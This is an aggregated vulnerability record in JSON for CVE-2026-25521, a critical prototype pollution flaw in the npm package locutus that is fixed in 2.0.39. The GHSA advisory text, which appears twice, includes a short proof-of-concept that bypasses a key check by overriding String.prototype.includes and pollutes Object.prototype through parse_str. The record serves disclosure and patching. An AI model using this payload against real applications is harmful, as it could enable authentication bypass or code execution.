{"id":"CVE-2026-25521","aliases":["EUVD-2026-5340","GHSA-rxrv-835q-v5mh"],"status":"published","title":"Locutus is vulnerable to Prototype Pollution","description":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. In versions from 2.0.12 to before 2.0.39, a prototype pollution vulnerability exists in locutus. Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using String.prototype. This issue has been patched in version 2.0.39.","severity":{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00314,"percentile":0.24716,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321","CWE-915"],"published":"2026-02-02T22:21:54Z","modified":"2026-10-28T02:30:31Z","fixes":[{"ecosystem":"npm","package":"locutus","fixed_in":["2.0.39"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"locutus","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.12"},{"fixed":"2.0.39"}]}]},{"source":"osv","ecosystem":"npm","package":"locutus","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.12"},{"fixed":"2.0.39"}]}]}],"products":[{"vendor":"locutus","product":"locutus"},{"vendor":"locutusjs","product":"locutus"},{"vendor":"red hat","product":"logging subsystem for red hat openshift"}],"references":[{"url":"https://github.com/locutusjs/locutus/security/advisories/GHSA-rxrv-835q-v5mh","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/locutusjs/locutus/commit/042af9ca7fde2ff599120783e720a17f335bb01c","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-25521","tags":["vdb-entry","x_refsource_REDHAT","advisory","web"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2436950","tags":["issue-tracking","x_refsource_REDHAT","report","web"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25521.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25521","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-rxrv-835q-v5mh"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25521.json","tags":["advisory"]},{"url":"https://github.com/locutusjs/locutus","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-25521","title":"Locutus is vulnerable to Prototype Pollution","description":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. In versions from 2.0.12 to before 2.0.39, a prototype pollution vulnerability exists in locutus. Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using String.prototype. This issue has been patched in version 2.0.39.","status":"published","published":"2026-02-04T21:20:32.643Z","modified":"2026-07-15T02:49:16.91Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna"},{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"adp"}],"cwes":["CWE-1321","CWE-915"],"updated_at":"2026-11-02T13:41:19.694734Z"}],"euvd":[{"id":"EUVD-2026-5340","description":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. In versions from 2.0.12 to before 2.0.39, a prototype pollution vulnerability exists in locutus. Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using String.prototype. This issue has been patched in version 2.0.39.","status":"published","published":"2026-02-04T21:20:32Z","modified":"2026-07-15T02:49:16Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"updated_at":"2026-11-02T18:19:53.678292Z"}],"ghsa":[{"id":"GHSA-rxrv-835q-v5mh","title":"locutus is vulnerable to Prototype Pollution","description":"### Summary\nA Prototype Pollution vulnerability exists in the the npm package locutus (\u003e2.0.12). Despite a previous fix that attempted to mitigate Prototype Pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using String.prototype. This issue was fixed in version 2.0.39.\n\n### Details\nThe vulnerability resides in line 77 to 79 of https://github.com/locutusjs/locutus/blob/main/src/php/strings/parse_str.js where includes() function is used to check whether user provided input contain forbidden strings.\n\n### PoC\n\n#### Steps to reproduce\n1. Install latest version of locutus using npm install or cloning from git\n2. Run the following code snippet:\n\n```javascript\nString.prototype.includes = () =\u003e false;      \nconsole.log({}.polluted);\nconst locutus = require('locutus');\nlocutus.php.strings.parse_str('constructor[prototype][polluted]=yes');\nconsole.log({}.polluted);  // prints yes -\u003e indicating that the patch was bypassed and Prototype Pollution occurred\n```\n\n#### Expected behavior\nPrototype Pollution should be prevented and {} should not gain new properties.\nThis should be printed on the console:\n```\nundefined\nundefined OR throw an Error\n```\n\n#### Actual behavior\nObject.prototype is polluted\nThis is printed on the console:\n```\nundefined \nyes\n```\n\n### Impact\nThis is a Prototype Pollution vulnerability, which can have severe security implications depending on how locutus is used by downstream applications. Any application that processes attacker-controlled input using this `locutus.php.strings.parse_str` may be affected. It could potentially lead to the following problems:\n1. Authentication bypass\n2. Denial of service\n3. Remote code execution (if polluted property is passed to sinks like eval or child_process)","status":"published","published":"2026-02-02T22:21:54Z","modified":"2026-10-05T15:34:19Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-915","CWE-1321"],"updated_at":"2026-11-02T14:41:25.889593Z"}],"nvd":[{"id":"CVE-2026-25521","description":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. In versions from 2.0.12 to before 2.0.39, a prototype pollution vulnerability exists in locutus. Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using String.prototype. This issue has been patched in version 2.0.39.","status":"published","published":"2026-02-04T22:15:59.203Z","modified":"2026-07-15T02:18:53.903Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high","assessor":"primary"},{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-1321","CWE-915"],"updated_at":"2026-11-02T14:12:05.149641Z"}],"osv":[{"id":"CVE-2026-25521","title":"Locutus is vulnerable to Prototype Pollution","description":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. In versions from 2.0.12 to before 2.0.39, a prototype pollution vulnerability exists in locutus. Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using String.prototype. This issue has been patched in version 2.0.39.","status":"published","published":"2026-02-04T21:20:32.643Z","modified":"2026-10-28T02:30:31.498969368Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:44:59.438965Z"},{"id":"GHSA-rxrv-835q-v5mh","title":"locutus is vulnerable to Prototype Pollution","description":"### Summary\nA Prototype Pollution vulnerability exists in the the npm package locutus (\u003e2.0.12). Despite a previous fix that attempted to mitigate Prototype Pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using String.prototype. This issue was fixed in version 2.0.39.\n\n### Details\nThe vulnerability resides in line 77 to 79 of https://github.com/locutusjs/locutus/blob/main/src/php/strings/parse_str.js where includes() function is used to check whether user provided input contain forbidden strings.\n\n### PoC\n\n#### Steps to reproduce\n1. Install latest version of locutus using npm install or cloning from git\n2. Run the following code snippet:\n\n```javascript\nString.prototype.includes = () =\u003e false;      \nconsole.log({}.polluted);\nconst locutus = require('locutus');\nlocutus.php.strings.parse_str('constructor[prototype][polluted]=yes');\nconsole.log({}.polluted);  // prints yes -\u003e indicating that the patch was bypassed and Prototype Pollution occurred\n```\n\n#### Expected behavior\nPrototype Pollution should be prevented and {} should not gain new properties.\nThis should be printed on the console:\n```\nundefined\nundefined OR throw an Error\n```\n\n#### Actual behavior\nObject.prototype is polluted\nThis is printed on the console:\n```\nundefined \nyes\n```\n\n### Impact\nThis is a Prototype Pollution vulnerability, which can have severe security implications depending on how locutus is used by downstream applications. Any application that processes attacker-controlled input using this `locutus.php.strings.parse_str` may be affected. It could potentially lead to the following problems:\n1. Authentication bypass\n2. Denial of service\n3. Remote code execution (if polluted property is passed to sinks like eval or child_process)","status":"published","published":"2026-02-02T22:21:54Z","modified":"2026-10-05T15:45:04.416035427Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-1321","CWE-915"],"updated_at":"2026-11-02T15:46:56.639206Z"}]}}